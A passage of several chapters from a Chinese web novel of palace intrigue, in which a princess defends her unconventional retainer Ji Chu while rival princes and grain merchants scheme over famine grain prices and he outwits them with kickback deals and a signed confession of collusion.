梁皇看完上面内容,用力摔给了太子,“你自己看看吧!” 李康诚惶诚恐捡起奏章,渐渐的,额间沁出了一丝冷汗。 虽然不知道上面写的什么,可李清瑶每日都能收到暗卫信息,知晓季褚所做的一切。 季褚的手段她可是见识过的,而且那日临行前他便把计划全盘脱出。 万万没想到,长葛那边竟然动用了八百里加急,请圣旨,斩杀奸佞,而且还送到了左大人手里。 尤其是见到父皇脸色,便知今日之事无法善了,一颗心瞬间跌落谷底。 “父皇,请相信儿臣推荐的人选,这样做,自然有这样做的道理。” “你派人去平抑粮价,结果粮价一日翻倍,太子,你告诉朕,这是什么道理?” “我……” “念!” 李康看了一眼站在下方的李清瑶,只好重新展开奏折念了起来。 话音落。 整个大殿顿时乱作一团。 “此等奸佞小人,必诛之!” “还请陛下速速下旨,还长葛百姓一个郎朗乾坤。” “臣附议!” “臣附议,请陛下降旨严惩!” 眼看越来越多大臣出班请旨,李清瑶的手心都在冒汗,正准备踱步上前,左春冷哼一声,“斩一个季褚有什么用,关键是举荐之人。 天降大灾,百姓苦盼赈济,朝廷却派来这等昏官,贪官,此等奸佞,非但未解民困,反令灾情雪上加霜,上任一日,便导致粮价飙升,城中官民怨声载道。” 说着,左春猛的拔调,目光如刀直刺宝座上的太子,“殿下!季褚乃您亲擢之臣,您以贤能之名荐其赴任,如今却见其祸国殃民。百姓眼中,您便是那举荐昏官的源头! 太子之位,非止荣宠,更需识人之明,恤民之心。若连忠奸不辨,何以承继大统?” “够了!”梁皇怒喝,宛若天雷滚滚。 然而头铁的老左头压根不在乎,继续自顾自的说道:“陛下,今日之灾,非独天怒,更因君失察——殿下若不自省,纵斩百个季褚,也难平天下怨愤,难复百姓生机啊!” “左老大人言之有理,请陛下降旨,太子自省!” “请陛下降旨,太子自省!” 一时间,三皇子和二皇子的人,纷纷出班响应。 见此情形,李康心里已然大乱,偷瞄一眼父皇脸色,急急看向了李清瑶。 第40章 霸气长公主,实力护马夫 “左大人此言差矣。”李清瑶莲步来到大殿中央,“父皇,诸位大人。季褚乃我家臣出身,其人才思敏捷,虽不循常礼,却独有治世之才。 初入仕途时,便献言献策,每每皆有意想不到的结果,此非循规蹈矩之辈可比。 今日之事,不过一日,岂能定其终身?” 说着,李清瑶跪地纳拜,“请父皇明鉴,季褚之才,儿臣知之甚深,既推荐给太子,二人便有十足信心。 今日原以公主之位为其担保,若日后有负圣恩,儿臣甘受连坐之责!” “皇姐……”李康紧紧握拳,恨恨的看了左春一眼。 “皇姐,关乎到数万黎民百姓的生机,岂能儿戏!”三皇子走上前,“父皇,皇姐一片赤诚虽可嘉,然季褚之事非儿戏,岂能仅凭担保二字便轻率定夺? 如今灾情如火,百姓流离,若因皇姐一时意气误判,恐令苍生再陷水深火热。 儿臣不才,愿亲赴灾区彻查,拨乱反正。 若如实所奏,定当绳之以法。 若其清白无辜,亦还其公道。 请父皇允儿臣即刻启程,以解民困,以正朝纲!” 说完,三皇子也跪在了李清瑶面前。 “三弟岂知我是儿戏?”李清瑶凤眸微挑,清冷的声音却透着一股破釜沉舟的气势,“三弟若真有担当,可敢当着众大人的面与本宫对赌? 本宫以自贬为庶为注,赌季褚十日之内必能解决长葛之困。 三弟若愿亲赴灾区,便以你封地一年的赋税为注,赌他罪证确凿,难辞其咎! 今日殿上众卿为证,若本宫输了,自请贬为庶民。若三弟输了,便该将封地粮仓尽数开仓,以济灾民!” “你……”李智气的浑身颤抖。 他已经吃了一个大亏,再拿出封地一年赋税为注,那他也别争了,直接让给老二好了。 这么好的机会二皇子岂能放过,立马上前添了一把火,“父皇,儿臣以为三弟所言极是。赈灾之事关乎数万黎民生死,岂能儿戏? 皇姐虽为金枝玉叶,但国事当前,当以实证为据,而非空口担保。儿臣恳请父皇,即刻着人彻查季褚,以安民心,令二弟赶赴灾区赈济灾民,以彰皇家爱民之心。” “父皇!”李清瑶抬起头,目光如炬,“此非儿戏,乃是关乎国本!三弟既言百姓生机为重,何惧此赌? 若连这点魄力都没有,又谈何拨乱反正?” “父皇,还请再给季褚几日。”太子李康也走下宝座跪了下去,他确实总会给人带来意想不到的惊喜。” 李康故意把惊喜二字咬的很重。 梁皇想到了那一千万两,又看了看信誓旦旦的长女,实在是无粮可济,“罢了,今日之事暂且留中,且等几日看看成效再议。 诸位爱卿还有何事要奏?” “陛下……” 左春欲言,梁皇冷哼一声,“朕还没有老糊涂。” “臣不敢。” “朕看你敢的很,??罢了,念你辅政多年,劳苦功高,且今日谏言又出公心,朕便宽宥你此番失仪,还不退下!” 李清瑶深吸了口气,悬着的心总算放回了肚子,也起身退回到了自己的位置。 …… 长公主府。 下了朝,今日朝会上的事儿便传开了。 宋辉虽说上次吃了个大亏,可听说了朝堂上的事儿,依旧忍不住高兴的哈哈大笑,抓来爱犬狠狠奖励了自己一波。 “李清瑶啊李清瑶,亏你这般信任那季褚,竟敢拿自个儿的公主金册给那马夫季褚作保,简直昏聩至极。 赚钱只是贩夫走卒的小道,治理一方岂是儿戏?他一马夫出身,连《周礼》都背不全,能懂什么经世济民?等着瞧吧,十日之内,你这金枝玉叶定会被那斯拖着一起下油锅! 马夫赈灾,公主作保……可笑的世道,真是猪狗都能做官了,嘶……呼!” 宋辉眼神渐渐放空,进入贤者模式。 越发清明的头脑令他突然想到了一个赚钱的机会。 如今粮价那么高,岂不是运过去就能赚钱? 这样想着,他赶紧整理好衣服,匆匆回了宋府。 “母亲大人。” “吾儿,你今日怎得空回来了?”朱玉润快步上前,拉着儿子的手便坐到贵妃榻上,对着一旁的婢女道:“春儿,快去通知厨房做一些大少爷爱吃的点心,看给吾儿憔悴的,娘都心疼坏了。” “不用了。”宋辉挥退另外几个婢女,“娘,你可知今日大朝会上发生的事儿?” “发生了何事?” “长公主派了一马夫前往长葛赈济灾民……”宋辉详细的说了一遍,“如今长葛粮价一日翻倍,达到了五百四十文一斗,京城距离长葛不过百里,快马运输三日便可抵达。 儿想着将咱宋家存粮全都拉过去卖掉,三日之后恐怕价格更高。 如此一来,不仅能弥补先前的损失,还能大赚一笔。” “吾儿,粮食可是咱宋府的最后的根基了,何况公主敢以金印作保,会不会有诈?”朱玉润道。 身为宋府当家主母,她看的自然长远。 别看她这个婆婆和儿媳妇见面的次数都屈指可数,但却清楚那儿媳绝非昏聩之人。 抛开她对儿子不冷不热的态度,有时她都很欣赏对方,因为她从对方看到了自己年轻时的影子。 那时的她,孤身一人撑起宋府,养大三个孩子。 如今的李清瑶,同样孤身一人,扶持太子坐稳那个位置。 “娘,您多虑了,这次和上次不一样,粮价在那摆着,粮食在咱们手里放着,价格不合适咱就不卖,能有什么诈。”宋辉信誓旦旦道。 “要不差人去三王府唤你妹妹回来,问问三殿下的态度?如今三殿下派人前往长杜平抑粮价,太子遣人去长葛,看似是圣人交代的差事,又何尝不是一次考验。 我怕咱们把粮食运过去,影响到三殿下的计划,那样一来,你妹子在王府的处境只会更差!” “妹妹她?” “上次的事情惹怒了三殿下,他把怨气全都撒到了你妹妹的身上。”朱玉润叹了口气,用力捶下腿道:“都是娘没用。” “娘,这不怪你,都是我害了妹妹。”宋辉咬了咬牙,“既是这般,咱们就更应该运粮过去卖,长葛数十万百姓,咱家那点粮食砸不起多大的水花。 只要赚了钱进献给三殿下,肯定能解妹妹的困境。” “这……” “娘,不要犹豫了。” “也罢,娘这回亲自走一趟。” “有娘出马,自是万无一失。” 第41章 诩有一计,可助王爷扳回一局 三王府。 李智愤怒的走进书房,谋士孙诩早已等候多时,立刻将长杜的信笺呈上,“殿下,这是长杜那边一早派人送回来的消息,请您过目。” “念!” 李智坐到太师椅上,随手拿起茶盏,而后重重摔下,“茶呢!” “殿下,茶来了。”一道怯生生声音传来,紧接着便见一个姿容盖世的小丫鬟拎着茶壶推门进来。 不是别人,正是宋府嫡女,宋惜惜。 那日她带着诚意而来,三皇子大喜,一夜颠鸾倒凤都准备等着封妃圣旨了,没想到事情出现了变化,三皇子亏的差点掉了裤衩。 她这个报信的人自然没的好下场,没当上王妃不说,反倒是成了婢女。 更要紧的是三皇子喜怒无常,动则打骂,令她这些日子可没少受磋磨。 不过,她知道,自己的容貌就是征服三皇子的大杀器,三皇子肯定喜爱自己,要不然也不可能经常拉着她在书房做那种事。 自己现在缺的只是一个机会。 宋惜惜怯生生的斟好茶便站到了一旁。 就听孙诩快速把信件内容说了一遍。 大致意思是三皇子派去长杜的人,动作很迅速。粮价已从两百文一斗,降到了一百五十文,足足降了五十文。 “殿下,如今高下立判,而且郑家,范家第二批粮食五日内便会送达,届时肯定能将粮价维持在一百文上下,长葛无忧,殿下无忧。” “哈哈哈哈,好,孙先生这招以退为进妙不可言,不过今日本王那位皇姐信誓旦旦,却令本王心中甚是担忧啊。 你说,他到底再打什么主意,莫非真有扭转乾坤之计?” “殿下多虑了,任他有通天本事,没有粮食也填不饱灾民的饿肚子。 只要有人挨饿,粮价必然还会再涨。 依在下所见,长公主让人停止一切官粜这招其实很妙。” “哦?”李智顿时来了兴趣。 孙诩一副智珠在握的表情,缓缓说道:“如在下所料不差,长公主无法得到世家大族支持,必然已经差人去别处购买粮食。 城中灾民有家可依,城外全是无家可归的破落户。 这些人一旦乱起来,长葛必乱,到时只能派兵镇压,恐怕不是长公主所看到的。 而停止一切官粜,就是用现有的粮食全力赈济城外灾民,一是减少人员死亡,二也是防止有人趁机闹事。 她以为拖到粮食抵达,危机自解。 只是他错估了商人的贪,以及城中百姓的恶。 饿急眼了,什么事做不出来? 有家可依的人乱起来,比那些无家可归的灾民更加可怕。” 孙诩戏谑一笑,“那人不过一马夫,这次赈灾事宜出的昏招,就足以说明此人,小手段有,大智慧无。 咱们上次吃亏就吃在了没想到对方手段如此肮脏。” “是极是极!”李智深以为然。 “诩有一计,可助王爷堂堂正正扳回一局。” “计将安出?” “可遣人通知郑家,范家,匀称一部分粮食运至长葛,偷偷藏起来。 且等十日之后,长公主无力回天之时,殿下可请旨亲赴长葛赈灾,同时令通知郑范两家将粮食高位抛售。 不仅能从长葛弥补咱们平抑长杜粮价的损失,等殿下抵达,买到粮食的长葛百姓也更好安抚。 殿下只需派人伪装一些粮车大张旗鼓的进城,如此反复几次,营造出大量粮食进城的假象,再将一道旨意重启官粜,粮价自降。 长公主十日做不到的事,殿下抵达便立竿见影。 岂非高下立判?” “彩彩彩,哈哈哈哈,先生这是用上了疑兵之计啊,他日本王执掌兵权,必带先生亲征北戎,以先生之才封侯拜相不在话下。” “敢不效死!” “就按你说的办,传信给之前受损失的那几家,也让他们筹些粮食,多少弥补一下之前的损失吧!” “殿下仁义,已有明君之范!” 李智心情大好,“哈哈哈哈,下去吧,你亲自安排此事。” 孙诩躬身退出了书房。 “本王火气很大。” “奴婢为殿下去火。”宋惜惜俏脸一红,怯生生的来到太师椅旁慢慢跪了下去,心道:如此重要的事当着我的面说,殿下还是爱我的,必须通知给家里,也能从中分一杯羹。 这样想着,宋惜惜一双水眸稠的都快能拉丝了,痴痴的望着三皇子,给予了他极致的满足。 …… 斗转星移,又是三日。 长葛。 粮价一涨再涨,今日挂牌价一斗粮食一两银。 百姓积攒的怒气终于爆发了,不少人陆陆续续自发前往府衙要个说法。 “让我们进去,我们要见钦差……” “一斗粮食一两银,朝廷是派他来救我们的,还是来杀我们的……要是杀,反正也活不下去了,我不如直接撞死在他面前。” “狗官狗官出来啊,躲在里面不出声,我知道你就躲在后衙。” 百姓群情激愤,甚至已经有人开始朝着手持杀威棒阻拦的衙役丢烂菜叶子。 不过刚丢下没多久,就被饥饿的有心人偷偷捡走。 府衙内,主簿等人急的团团转,看看外面,知道拦不了太久,只好请示道:“大人,迟则生变啊,看这情形,怕是不出两日,城中必然大乱!” “本官岂会不知?”高士奇冷哼一声,“再等等,降罪的圣旨怕是也快到了。” “要不先让季大人出去安抚一下?这样下去也不是办法啊!” 提起季褚,高士奇便恨的牙痒痒,“已经派人去寻了。” 他也想把季褚推出去,让他自己看看自己作下的孽。 可季褚两日前就跑了,美其名曰考察筹备迎接太子妃凤鸾,他现在想找人,都不知道人跑到了哪里。 这在高士奇眼里,分明就是事不可为,溜之大吉,给他留下了一个更烂的摊子。 季褚现在毕竟还是名义上的钦差,他没权利撤销先前下达的命令,所以只能等圣旨。 …… 却说季褚在哪儿? 季褚正在江边,对着江边狂扎马步。 他要偷偷学武艺,然后惊艳所有人。 竹儿在旁扇风,时不时还会投喂一颗水果。 “大人,甜不?” 季褚斜睨的对方一眼,“走开,不要成为我成功路上的绊脚石,唔……” “甜不?” “好吧,甜,再剥一颗。” “咯咯咯咯,我看你还是别练了,错过了最佳的习武年纪,练了也是白练。”竹儿一边剥着葡萄,一边劝,“反正出行都有护卫,何必自己没罪找罪。” “你懂什么。” 季褚说完,缓缓闭上了眼。 有好日子享受,他也不想啊。 可见识过山贼拦路,见识过韩江雪嘎嘎乱杀,令他很没安全感。 俗话说的好,爹有娘有不如自己有。 “大人,张嘴。” “唔,够了,你自己吃吧!” 就在这时,韩江雪匆匆从远处走来,“大人,派去各大官道的斥候来报,已经有粮食陆陆续续运送过来,不过……” “不过什么?” 韩江雪面色古怪,“最先到的竟然是宋家车队。” 季褚一愣,“驸马爷那个宋?” “而且还是宋夫人亲自带队。” 季褚:…… “宋辉毕竟表姐的夫君,上次已经坑了人家一次,这次要不要……” “再等等吧,大局为重。你继续密切关注,绝对不能放跑一粒粮食,对了,之前让你传信给前去购粮的人,让他遇上加价购粮者可自行加价处理,可有回信?” 李清瑶提前派人南下购粮,算算日子也早该上路了,等那批粮食运抵长葛估计粮价早就降了,季褚自然不会允许那批粮食砸手里。 如今他和太子可是一根绳上的蚂蚱。 争位,争位,争的便是钱粮兵将。 现在需要粮,但绝对不是明面上这一批。他是真怕那个傻女人脑子一热再给捐了,毕竟自己帮她攒点家底也不容易。 “暂无,想必就在这一两日。” “嗯,去吧!” “喏!”韩江雪转身匆匆离开。 “大人,热不热,要不要奴婢帮你扇扇风。” “也好。” “大人,你都出汗了,奴婢帮你擦一下。” 说着,季褚只觉一阵香风拂面,竹儿扬起皓白手腕,拿着帕子便轻轻点在了他的脸上。 季褚当场破功,“大姐,我在练功呢!” “你练你的,我伺候我的,又影响不到你。” 季褚:…… 第42章 什么是收受贿赂,这叫友情赞助 季褚闭眼。 那话怎么说来着,练功先练心,他就当锻炼心智了。内心清净,功夫提升的自然就快。 可练着练着季褚突然身体一麻,全身僵直,一动都不能动了。 “竹,竹儿,我我我,我好像走火入魔了。” “噗嗤……你现在还只是练桩阶段,哪来的走火入魔。”竹儿咯咯一笑,“你这是中毒了。” 季褚心头一颤,愕然的斜眼过去,“帕子有毒?” “对呀!” 轰! 季褚脑袋里一阵眩晕。 完了,芭比Q了。 只一瞬间,他便想到了无数可能。 狡兔死,走狗烹? 好像不太可能! 那只能说明,竹儿是潜伏在李清瑶身边的间谍,得到命令借机除掉自己。 “为什么?公主待你不薄吧!”季褚有些不甘心的问道。 “噗嗤,季大人,你在胡思乱想些甚么东西!”竹儿笑的花枝乱颤,从怀中摸出一个瓷瓶放到季褚鼻尖。 一股淡淡药香涌入鼻腔,那种浑身麻痹的感觉顷刻退去。 这一下,季褚更懵了,“你什么意思?” “奴婢只是不忍大人受苦,你已错过了最佳习武年龄,何必强求。不会武功,但可以用毒呀!” 说完,她快速后退两步,突然甩起袖口,一道白烟骤然扑向了季褚。 季褚还没反应过来,两眼一番,直挺挺的向下栽倒。 等他再次醒来,发现自己正倒在竹儿软乎乎的怀里。 “大人,用毒是不是比用武功厉害。”竹儿笑嘻嘻道。 “大姐,求你了,别玩了成不,再玩就玩死了……”季褚简直欲哭无泪的都,看着这么漂亮乖巧一女孩,咋一出府就跟变了个人似的呢。 “咯咯咯咯,竹儿保护大人还来不及,怎么舍得大人死呢,刚刚竹儿捉弄了大人,大人还要不要打屁股惩罚竹儿啊!” 季褚:…… 好么,你是在这等着我呢,小小年纪,可真记仇。 虽然竹儿的怀里香香的软软的,靠着很舒服,但知道这丫头是个用毒高手,他那是大气都不敢多喘一口。 “不不不,竹儿姐姐刚才给我上了生动的一课,我感激还来不及呢,要不咱先起来?” 竹儿愣了愣,随即俏脸一红,赶忙将季褚搀扶起来。 季褚清了清嗓子,“咳,那个,练功是个水磨工夫,本官也确实需要一些立竿见影的防身手段,不知竹儿姐姐都有哪些毒药,可否匀一些给我?” “且随我来。” 二人很快来到马车旁,竹儿打开车厢中央的翘板,季褚定睛一瞧,我尼玛个乖乖,有个一平方左右,密密麻麻全是各种颜色的瓶瓶罐罐。 她每介绍一种,季褚就震惊一分。 什么蒙汗药,什么致盲药,迷幻药,吐真药,哑巴药,下半身不遂上半身遂的药。 并且还给他讲述了一些藏药下药的技巧,可是给季褚高兴坏了。 一身毒药加身,季褚感觉自己强的可怕。 “竹儿姐姐,你们梅兰竹菊四大丫鬟,是不是都有各自擅长的东西?” “殿下把我安排到你身边贴身伺候,以后我便是你的人了,我的一切自然可以让你知晓,但其他姐妹的秘密,得你亲自去问公主。” “你确定是我的人了?” “自然。” “那你把衣服脱了,给我看看。” “啊?”竹儿一愣,旋即,那张俏丽的脸蛋再次染上了一抹红霞,抬起手便要去解身上的襦裙。 有道是兔子不吃窝边草,季褚就是和她开个玩笑,万万没想到对方来真的,赶忙抓住了她的手腕,“开个玩笑,不要当真。既有粮商抵达,咱们得计策已经成功一大半,也是时候回去了,再不露面,我怕高大人会抗旨下令,坏了计划。” …… 长葛城。 一架豪华马车在众公主亲卫的护送下驶入后衙,高士奇红着眼带领府衙众官员讨要说法,却被侍卫直接拦在了远处。 气的当场破口大骂,“昏官,打那日下达命令停止一切官粜,城中粮价已经飙至一斗米一两银。百姓饿殍遍野,易子而食。 你竟乘坐豪华马车,携带女眷出游享乐,百姓的血肉都化作你案上的银锭了,你还要装聋作哑到几时? 置黎民于水火,视苍生如草芥,你这等蛀虫食禄的畜生,怎不早死以谢天下!” 这一嗓子可谓是中气十足,好不容易逮着人,他几乎要把这几日的愤怒全都发泄出来。 主簿等人全傻眼了。 不是,大人,骂的这么脏真的好吗? 您不想活了,大家还有妻儿老小啊! 大家的脚,全都不约而同的往旁边挪了挪。 季褚早就知道对方会很愤怒,但同样没想到会跟个泼妇一样。 你的斯文呢,你丫的文人君子之风呢? 季褚目光冷冷,“放他过来。” “狗官,你还有何说辞?”高士奇一甩衣袖,昂着头怒视站在马车上的季褚。 季褚倒吸一口冷气,那些喷人的话都到嘴边了,又被他硬生生咽了回去。 不生气,不生气,气出病来无人替。 这老东西也算是一心为民,咱得大度。 “传令——自今日起,全城征召工匠民夫,着手修缮长葛破损道路,整顿商铺门面,修建公共厕所,清理积存垃圾,并疏通城中排水渠。稍后本官将差人送来详细实施方案,尔等须即刻筹备,务必赶在十日之内完工!?? 太子妃殿下下榻长葛整顿,此事关乎圣眷,尔等须以焕然一新的城容迎驾,不得有丝毫懈怠! ??另传檄文告示各界人士??,太子妃下榻长葛当日,城中将举办盛大文艺演出,凡戏曲,歌舞,杂技,曲艺等喜庆节目,皆可报名提前进行海选。 演出将由本官与地方乡绅共同评定入围,为太子妃献艺当晚再择优选出前十佳者。 此十支队伍,将于太子殿下大婚之日,入宫为圣人,为太子献艺,望各界踊跃筹备,共襄盛举,以彰长葛之治!” 话音落,高士奇张着大嘴当场哑火。 不是哥们,你玩真的啊? 现在是什么光景,咱长葛玩得起吗? 可又感觉哪里不太对劲。 高士奇脑子痒痒的,“敢问大人,钱粮何来?” “笨!”季褚走下马车,“随我来,我于你细说。” “你最好说明白。”高士奇轻哼一声,快步跟去了房间。 季褚落座接过竹儿递来的茶盏,轻嘬一口,不急不慢道:“这文艺演出,可不是寻常的市井闹腾。 能在圣人以及未来帝后面前露脸,那可是名留青史,族谱单开一页的好事儿。 你想想看,你的名字,你的技艺,有朝一日会被载入史册,后世子孙提起皆以你为荣,懂?” “不懂,这与钱粮何干?” 季褚深吸口气,重重的将茶盏放到了桌上,“老高老高,你是猪脑子吗,也难怪当了这么多年的官儿,还是一个小小七品县令。 此等机遇是不是千载难逢? 选择权和决策权是不是在我们手里? 让谁上,不让谁上,让谁出圈,不让谁出圈是不是也是我们说了算? 这不仅是权力,更是责任。 我们要选出最能代表长葛风采,最能打动圣心的节目,让皇帝陛下看到长葛的繁荣与活力,是也不是?” 高士奇愣了好一会儿,接着便涨红了脸,气的吹胡子瞪眼,“你你你……你是想……以权谋私,贪赃枉法,借这文艺演出的名头,收受那些戏班子,商贾的贿赂?” 啪! 季褚猛地一拍桌子,震得茶盏叮当作响,厉声喝道:“大胆,你说谁收受贿赂?本官的人格也是你能侮辱的?!” “明明就是……” “放屁。”季褚气的站起身,指着高士奇怒道:“不懂就不要乱说! 什么是收受贿赂,这叫友情赞助!” 第43章 凭证可留,但得加钱 “那些戏班子,商贾自愿出钱出力,为的是让长葛焕然一新,迎接太子妃驾临! 届时在城里挂些横幅,赞助最多的,名字自然要挂在场地中央最显眼的地方,这是对善举的褒奖,是激励更多人参与懂了吗?!” 高士奇面皮一抽,这尼玛还不是变相的收受贿赂? “高大人,我念你为官清廉,你骂我我都不与你计较。可若再敢以小人之心度君子之腹,本官可就要怀疑你的用心了! 此事关乎长葛颜面,更关乎圣上颜面,岂容你这般胡乱揣测?” 高士奇懂了,可又没完全懂。 他感觉季褚是想用这样的办法,筹集粮草。 一次面圣的机会啊,那些小家族狗大户肯定会趋之若鹜,各家存粮不一定多,但加起来一定多,绝对可以缓解燃眉之急。 可话又说回来,有这样的好办法,你早说啊,何必还要停止官粜,弄的城内百姓人心惶惶? 高士奇脑子越来越痒,彻底拿捏不准了,而且季褚给出的办法也令他茅塞顿开,突然意识到自己好像误解了对方。 “大人,那钱粮怎么个收法?” “粮有什么用,咱们只要钱。” 高士奇:…… 好吧,他想多了。 “只有钱,没有粮,依旧无法解除城中困局。”高士奇严肃道:“大人想要求财,本官配合就是,但烦请大人给城中百姓一条活路,不如七成粮,三成财货如何?” “不如何,按照我说的去办,过几日粮食便不值钱了。”季褚信誓旦旦道。 如今鱼儿已经入网,季褚倒是也不介意多和他透露一些信息。 “还请大人明言。” “回去看我送给你的那副字。” “这……” “本官不喜拐弯抹角。” 高士奇尴尬的拱手行礼,“请大人赎罪,那副字……那副字已经被下官撕了。” “我……” 季褚气的浑身都硬了,紧紧握住了拳头,“来人,给姓高的叉出去。” 两名公主亲卫走进屋,架起人就往外走。 季褚喝了口茶,突然又想到了什么,“娘的,我还真是个操心的命。” 想着,从怀里拿出这两日准备好的方案,“竹儿,给高大人送去,按照上面的计划行事。” “是!”竹儿拿上东西匆匆追了出去。 随着两则告示贴出,城中再次一片怨声载道。 “粮价数日上涨,钱给的再多干一日也买不起一斗粮,还不如剩些个力气。” “老子倒是会胸口碎大石,奈何提不动锤子……” “苍天无眼……这是不给我们长葛百姓活路啊!” 与百姓的叫苦不迭不同,除去五大家族对第二张告示不感冒,其他一些小门小户的反应反而相当活跃,纷纷派人打探具体章程。 这一迎来送往,反倒是让高士奇心里多了一丝期待。 可一想到,中午都没等来圣旨,他就就让人准备了一份万民血书送抵京城,又隐隐有些担忧。 “上次的事儿都没把季大人如何,这次应该也没事吧?”高士奇自欺欺人的想着。 夜幕低垂。 韩江雪带着一个青衣小厮走进了后衙。 “大人,这是今日的三成分红,请您笑纳。”小厮恭恭敬敬递上一张银票。 季褚扫了一眼面值,心中暗暗冷笑。 这帮王八蛋还真是会算计,根据粮价,每天给他分红都会增加一点,开始一天一千两,三千两,如今涨到了五千两。 每天都涨,但每天都不会多,简直把他当猴耍。 “大人,若是没什么事,小的就告退了。” “且慢。”季褚叫住了对方。 “大人?” “回去告诉你家主人,本官现在缺钱,一天一送你们麻烦,本官同样麻烦,不如将后续的分成一次性买断,本官也不多要,五家各凑一万两即可。” “喏,小的一定转达家主,但具体如何,不是小的能左右的,还请大人明鉴。” “告诉他们今晚送过来,否则明日本官就带人上门查账,我不信他们每天卖粮的账目,都能与分给我的对的上账。” “喏!”小厮拱手退出房间。 “大人还真是生财有道啊!”韩江雪拿起银票直接收了起来。 “不义之财,不取白不取!”季褚笑道:“公主那边可有消息传来。” “大人放心,殿下说了,她那边绝对不会拖后腿,会派遣几位礼部员外过来主持大局。” “公主明鉴万里,由她运筹帷幄,万事大吉。” 韩江雪嫌弃的白了季褚一眼,“既然是不义之财,咱们为何不提前派出人手,盯死几家粮铺,查到他们做假账的证据,然后狠狠敲一笔竹杠?” 季褚也是一阵无语,你丫简直比我都黑。 这不是显而易见么。长葛城的粮价烽烟,本身就不是简单的赈灾之争,而是三皇子党与太子党的主权博弈。 人家也是有后台的,你逼急了,人家撂挑子一分好处的都不给你,你能耐和? 想举屠刀,你也得师出有名啊! 瞄了一眼那足以傲视群雄,季褚也就释然了。 跟一个熊大无脑的计较这些作甚。 约莫一炷香的时间,外面有人来报,说是五大家主求见。 “宣!” 不多时,五个老头再次齐聚。 “见过大人。” “诸位可是带了银票过来?”季褚开门见山。 “自然。”吕老上前,躬身道:“大人,五万两不是小数,老朽等虽愿倾力相助,然终究事有规矩。 烦请大人赐一凭据,以手书印信为凭,以防日后账目偶有疏漏,伤了彼此和气。先小人后君子,方是长久之道。” 季褚眉头一挑,冷冷笑道:“这本就是你我之间私下商量好的,今日你们却要我留下把柄,莫非是想着以后好拿捏本官?” “不敢!” “哼,谅你们也不敢。”季褚道:“凭证可留,但得加钱!” “啊?” “敢问大人,加多少?” “再加五万,总计十万,钱拿来,本官这就手书一封加盖印信。” “这……” 众老头不约而同的对视。 他们确实想拿捏住季褚的把柄,说不定什么时候就能用上。 可要再加五万。 问题是你配吗? 毕竟季褚昏官狗官的名声早已传遍街巷,连孩童都在骂他。他如今的前程,怕是连五千两都值不得,何况是五万? 大家全都心知肚明,这钱若是给了,怕只能肉包子打狗,毫无价值。 “怎么不愿意?” “非是不愿意,实在是这么多银两,大家一时半会儿也凑不出来。” “当真凑不出来?” 吕老上前一步,“大人明鉴,实在凑不出来,要不您再宽宥几日?” 季褚沉吟半晌,叹了口气,“罢了,我也不难为你们。咱们双方各留书信,也好形成制约,彼此心安。 如此,这笔买卖便到此为止,两不相欠,各归其道。” “大人莫非是奉旨还京,复命在即?粮价日涨,不出旬日,利可倍蓰,何不待价而沽多获千金,届时岂非区区五万两能比?”郑家主试探问道。 季褚又是一叹,“非也。今日告示,想必诸位已经知晓。本官尚需滞留数日,恭候太子妃殿下鸾驾临境。 然,太子之命实难克尽厥职,故欲速敛资财,献于三殿下,也能早日脱此苦海。 事不可为,岂非大难临头,我又怎愿甘心等死。” 闻言,几个老头全都恍然。 合着你是担心完不成太子交代的任务,等不及了要改换门庭啊! 对此,大家倒是不怎么怀疑。 毕竟,那两张告示看似利好,可那是在解决粮食问题以后,否则,现在贴出来也是挨骂的份儿。 都吃不饱肚子,谁来干活卖命? 无人干活,演出台子都搭不起来,还办个屁的文艺演出啊。 哪怕强行搭起来,饿着肚子的戏班子,唱得出甚么好戏? 吕老之前还有所顾虑,现在一想,投靠三皇子是真特娘的对劲。 只为博美人一笑,就不顾百姓死活,简直就是昏庸无道,活该会被取代。 可惜了太子妃,也不知是个怎样的妙人,竟然嫁给这样的人。 几人对视一眼,便有了计较,吕老上前说道:“既如此,便依大人所言,互留书契为凭,老朽等亦愿祝大人得偿所愿,早日脱离此间纷扰。” “那就多谢诸位了。”季褚抱拳拱手。 “大人无需如此,权当是与大人结个善缘,太子殿下为博美人一笑而弃万民于不顾,确实不似明主,还是大人看的透彻,省得日后跟着落个昏君误国的骂名。” 季褚颔首,走到书案前开始起草合约。 很快一份双方相互勾结,抬高粮价的合约就起草完毕。 看完,五个老头全都倒吸一口凉气,总感觉这字儿一签,会有大恐怖发生。 第44章 大人,终究是竹儿错付了 “大人,连我等密谋之事都写的详载无遗,岂非过于昭彰?恐有失稳妥吧?” “书契既明,何须赘述?”季褚蹙眉,“本官尚不惧,尔等何怯?亦或,索此字据,别有图谋? 尔等不敢示此契,本官亦断然不取,既两相缄默,又何忧之有?” 顿了顿,他目光如炬扫视众人,厉声道:“还是说,尔等真的别有用心?” “大人息怒,老朽等人岂敢存异心? 实乃人心险恶,不得不慎。 既大人明鉴,我等即刻画押,以证赤诚!” 说完,吕老走上前拿起毛笔写下了自己的名字,按上了私印。 很快,另外几个家主也都照做。 季褚也不含糊,拿出自己的官印盖了上去,一式两份,各自收入怀中,最后接过吕老递过来的银票。 “诸位,且行且珍惜吧,不送!”季褚摆摆手,而后转过身去,他怕自己绷不住。 直到韩江雪进来,他才发出了六子甩手笑,“一群蠢货,去,速去安排,明日一早,我就要看到那些假粮车进城。 最重要的是官道,一定要保证万无一失,但凡来了长葛的粮食,绝不允许一粒流出。” “大人放心,一切安排妥善,钱呢?” “什么钱钱钱,你能不能别钻钱眼里?”季褚笑着掏出五万两银票拍到了对方手里,“收好了,万一丢了唯你是问。” “喏!”韩江雪检查了一下银票,也是情不自禁的笑了起来,压着腰间宝剑便欢快的去传令了。 季褚取出那张信,来到窗台边,抬头看向了天边月亮良久,才把心一横,既然早晚要沾血,那就先拿这群为富不仁的畜生开刀。 我这也算是替天行道。 他快步走到书案前,刷刷写了个小纸条,而后回到窗边,“来人!” 刷! 一道人影从天而降,吓了季褚一激灵,“能不能别这样神出鬼没,要有心脏病非得被你活活吓死。” “上次大人遭遇刺杀,韩大人命我等加强防卫,时刻警惕,但有动静随叫随到。”护卫面无表情道。 “好吧,下次先退远点,再慢慢过来。 还好你与本官已经熟了,要是陌生人,怕是已经死在了本官手里。” 护卫嘴角忍不住一阵抽搐,但也不好揭穿。 季褚清了清嗓子,将纸条递给对方,“用最快的速度传信公主,有回信立刻来报。” “喏!” 嗖的一下,那护卫接过纸条,便窜上了天。 季褚跑出门,往屋顶一看,好么,隔不远就站着一人,安全感瞬间爆棚。 感动归感动,可真有这必要吗? “大人有事吩咐?”竹儿打开房间走了出来。 